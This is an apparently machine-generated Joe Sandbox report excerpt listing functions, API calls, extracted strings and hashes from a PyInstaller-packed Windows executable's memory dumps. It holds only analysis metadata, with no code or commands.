Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: 9cb15247dac7a13f397976ee6d40729d6faafa5835ea6b1d42d4fbaf85120410
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: CC318162A18A4285FF11AB558C4B37C2A90BF80BB4F424135EE5D873D2EFBCE4618713

Function 00007FF62C109961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62C10998F

Part of subcall function 00007FF62C109A88: GetModuleHandleExW.KERNEL32 ref: 00007FF62C109AAD
Part of subcall function 00007FF62C109A88: GetProcAddress.KERNEL32 ref: 00007FF62C109AC3
Part of subcall function 00007FF62C109A88: FreeLibrary.KERNEL32 ref: 00007FF62C109AEA

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: f8195fba7d6a3d9f75d43c199d8ef3414ad42b3c16e21b38851ddd6e122addb8
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: CE21A172E05B4589EF249FA4C89A2EC33A0FB14728F444636DB5C86AD9DF38D554C741

Function 00007FF62C105F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C105EF9

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: bdbe6ada64360f091855be2812b099e18cc36867a8fad5b402d1b8833956a7bf
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 3F119031A1C64282EE60AF119C0A27DA364BF85BA4F444431FF8CD7A96CF3DE4219706

Function 00007FF62C116354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C116377

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 9ef281fe64b46a4ebce0232347a78a9b5675b95fd3416e6abbc1af1c79661d40
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 8A21B032A18A8186EF618F1CD84637976A0FB94BA4F144234EA5DC76D9DF7DD8118B01

Function 00007FF62C1003BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C100410

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: ed141f50c82a8031c967e7c792f1b6cc904d3698c3d3e6579489e03002e93b41
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 8B01C421B08B4580EE04DF529D0A0A9A791BF95FF0F488631EE5CD3BD6DE3CD4218345

Function 00007FF62C0F8E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

LoadLibraryExW.KERNEL32(?,00007FF62C0F6476,?,00007FF62C0F336E), ref: 00007FF62C0F8EA2

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction ID: da95320e510be72ecea24a91d98782455881a8429a580d3e3e18757549253535
Opcode Fuzzy Hash: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction Fuzzy Hash: 76D08C01F2825546EE44A76BBA4B6295252AB89BD0F88C035EE0D43B4ADC3CC0914B04

Function 00007FFDFABDB0F0 Relevance: 1.5, APIs: 1, Instructions: 231COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABDB131

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 3e74cb12bfa4fe274cd368df48ff49ce497d72bee849dd2a93d073e759ce18c8
Instruction ID: 70a4c0947169ebe68d04133cf7b7caa65e1d4cadd498c1b331b3019739d98f97
Opcode Fuzzy Hash: 3e74cb12bfa4fe274cd368df48ff49ce497d72bee849dd2a93d073e759ce18c8
Instruction Fuzzy Hash: 32C15F36B09A82C5EB68DF25E964ABC73A4FF44B94F8541B5CA6D066DCDF3CE5808700

Function 00007FFDFAB8CA40 Relevance: 1.4, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,00000000,00007FFDFAB8B95E,?,?,?,?,00000000,00007FFDFAB8B9DE,?,?,00000000,00007FFDFAB89F93), ref: 00007FFDFAB8CA9E

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 60c4c729239b9c867ec044f782410759a4c661c8a66380dad805bbaf6a771bfd
Instruction ID: fb88c2dfd8251fdb009e34fce40c05de272508c2feb0b6ccb432127c08b895ba
Opcode Fuzzy Hash: 60c4c729239b9c867ec044f782410759a4c661c8a66380dad805bbaf6a771bfd
Instruction Fuzzy Hash: 7F416F66708B4681EB58CF26E828B6977A0FB45B84F484475DEAD0B7A8DF3DE056C700

Function 00007FFDFAB849A0 Relevance: 1.3, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB849EF

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: b3616b0bc1ce52ce2adb7af58cda7d4ecbf03f1f14e84b775dec997ef8b66b01
Instruction ID: 8d9792681597723834da8b360d18478660e6e057580bc7b6bc8fb0db40883fea
Opcode Fuzzy Hash: b3616b0bc1ce52ce2adb7af58cda7d4ecbf03f1f14e84b775dec997ef8b66b01
Instruction Fuzzy Hash: C9417629B09A4686EF5D9B5AE46093973A0FF44B80F488075CE2D0B7D8DF3CE4928704

Function 00007FFDFAB84EA5 Relevance: 1.3, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB84EF3

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 30d5bdf936aecc5dd494e9278e6ce7eef71ff3bb089f5e87c603ecd981622aab
Instruction ID: 6e400fa42458e24b21e94b2ae11585569384c36152c2ad2e65efb0e563fea11e
Opcode Fuzzy Hash: 30d5bdf936aecc5dd494e9278e6ce7eef71ff3bb089f5e87c603ecd981622aab
Instruction Fuzzy Hash: 59319032A047418BD768CF29E210A6D77A0FB04B84F448079DB5D5BB8DCB7CE5A1CB40

Function 00007FFDFAB76920 Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB76980

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 64cbdefbcd847917ee2580073db156037acbf6d0a1a76d5943a3ecb8b1fc0262
Instruction ID: 8bbec73b8658ad4489b563b4b45d6e05ae3a8d78338d9699c4fdde24601f5e25
Opcode Fuzzy Hash: 64cbdefbcd847917ee2580073db156037acbf6d0a1a76d5943a3ecb8b1fc0262
Instruction Fuzzy Hash: B7119151B1D68240EF5D9716B274A7E92519F49FC4F881472EE6E0BBCDEF6CE4828300

Function 00007FF62C10D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF62C100C90,?,?,?,00007FF62C1022FA,?,?,?,?,?,00007FF62C103AE9), ref: 00007FF62C10D63A

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: a39ba22ef69299ae5797ac6fb7022814a1b6883c9326e92b67ad90b9cd67a3ad
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 9AF08C10F1824380FE653B715C5B2B412904FD4BB0F480730EC2EC62C2EE2EA4A28612

Non-executed Functions

Function 00007FF62C0F89E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8A56

Part of subcall function 00007FF62C10A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10A490

Part of subcall function 00007FF62C10871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C108783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8AE6
CreateProcessW.KERNEL32 ref: 00007FF62C0F8B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8B28

Part of subcall function 00007FF62C0F2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2C9E
Part of subcall function 00007FF62C0F2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2D63
Part of subcall function 00007FF62C0F2C50: MessageBoxW.USER32 ref: 00007FF62C0F2D99

RegisterClassW.USER32 ref: 00007FF62C0F8B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8B8B
CreateWindowExW.USER32 ref: 00007FF62C0F8BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C15
PeekMessageW.USER32 ref: 00007FF62C0F8C39
TranslateMessage.USER32 ref: 00007FF62C0F8C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C51
PeekMessageW.USER32 ref: 00007FF62C0F8C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8E04
GetExitCodeProcess.KERNEL32 ref: 00007FF62C0F8E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8E2F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF62C0F8B54
Failed to create child process!, xrefs: 00007FF62C0F8B30
PyInstaller Onefile Hidden Window, xrefs: 00007FF62C0F8B95
CreateProcessW, xrefs: 00007FF62C0F8B37

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: d7252acce92481b4eccf3537b187236782f2d67d36c8bbdcf4d5647aad6e1b89
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: B6D18172A08A8286EF108F38EC592AD3760FF95B68F504235DE5E83AA4DF7CD154C746

Function 00007FFDFAC34440 Relevance: 21.5, APIs: 2, Strings: 12, Instructions: 452COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FFDFAC348C2
memcpy.VCRUNTIME140 ref: 00007FFDFAC349C4

Strings

localhos, xrefs: 00007FFDFAC3459E
access, xrefs: 00007FFDFAC34885
cach, xrefs: 00007FFDFAC34940
invalid uri authority: %.*s, xrefs: 00007FFDFAC345C7
file, xrefs: 00007FFDFAC344BB
%s mode not allowed: %s, xrefs: 00007FFDFAC3497E
mode, xrefs: 00007FFDFAC34921
cache, xrefs: 00007FFDFAC3485B
mode, xrefs: 00007FFDFAC3479E
no such %s mode: %s, xrefs: 00007FFDFAC348EE
no such vfs: %s, xrefs: 00007FFDFAC34A74
cach, xrefs: 00007FFDFAC347AF

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcmpmemcpy
String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$mode$no such %s mode: %s$no such vfs: %s
API String ID: 1784268899-1067337024
Opcode ID: 14ba734cd6d25d3ab9e29de301cc1b2d38027898f96f5f7fc5655e0f27bc498b
Instruction ID: bde09798c3cc0be29f551beb871458eb1baf9594450376ab396bfc7802353c62
Opcode Fuzzy Hash: 14ba734cd6d25d3ab9e29de301cc1b2d38027898f96f5f7fc5655e0f27bc498b
Instruction Fuzzy Hash: 5C02F66AF0C78285FB6D8B159230B7D6AD1AB52B56F0442B5CA7E873D9DE3DE481C300

Function 00007FFDFAA51880 Relevance: 13.9, APIs: 9, Instructions: 425COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON312 ref: 00007FFDFAA518E3
PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA519D6
PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA51A33
PyUnicode_FromKindAndData.PYTHON312 ref: 00007FFDFAA51B04
PyMem_Free.PYTHON312 ref: 00007FFDFAA51B12
PyMem_Realloc.PYTHON312 ref: 00007FFDFAA51BF8
PyMem_Free.PYTHON312 ref: 00007FFDFAA53B1A
PyErr_NoMemory.PYTHON312 ref: 00007FFDFAA53B20

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Mem_$FreeSubtypeType_$DataErr_FromKindMallocMemoryReallocUnicode_
String ID:
API String ID: 3719493655-0
Opcode ID: 0b61fa8abd9dfcdf7751d429d18c280f61a1d7a5a4373fae919a70ebd3257318
Instruction ID: 5f947efb0c69f75659c0e86a687737ab3d8f2b01e20fd76f2e1244905b275477
Opcode Fuzzy Hash: 0b61fa8abd9dfcdf7751d429d18c280f61a1d7a5a4373fae919a70ebd3257318
Instruction Fuzzy Hash: 5A022472B1CA828AE72E9B14D434E7937A0FF85780F5541B1D66E867CCEE2DE44AC314

Function 00007FFDFAA53028 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAA53044
memset.VCRUNTIME140 ref: 00007FFDFAA53068
RtlCaptureContext.KERNEL32 ref: 00007FFDFAA53071
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFAA5308B
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFAA530CC
memset.VCRUNTIME140 ref: 00007FFDFAA530FF
IsDebuggerPresent.KERNEL32 ref: 00007FFDFAA53120
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAA5313D
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAA53148

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 077b0f214cb87451efc13930c849abf149ec882450af492fe5d50a1ac414abff
Instruction ID: 7bbd088c070252a8e9ca49839f4b09f3a9a634b13c3b26c1ddc56ed5053cdc37
Opcode Fuzzy Hash: 077b0f214cb87451efc13930c849abf149ec882450af492fe5d50a1ac414abff
Instruction Fuzzy Hash: 2D317A76719B828EEBA48F60E8607EA33A4FB84304F40403ADA5E47B98DF38D54DC714

Function 00007FFDFAB7F9A0 Relevance: 12.4, APIs: 2, Strings: 6, Instructions: 410COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB7FA0B
memset.VCRUNTIME140 ref: 00007FFDFAB7FA94

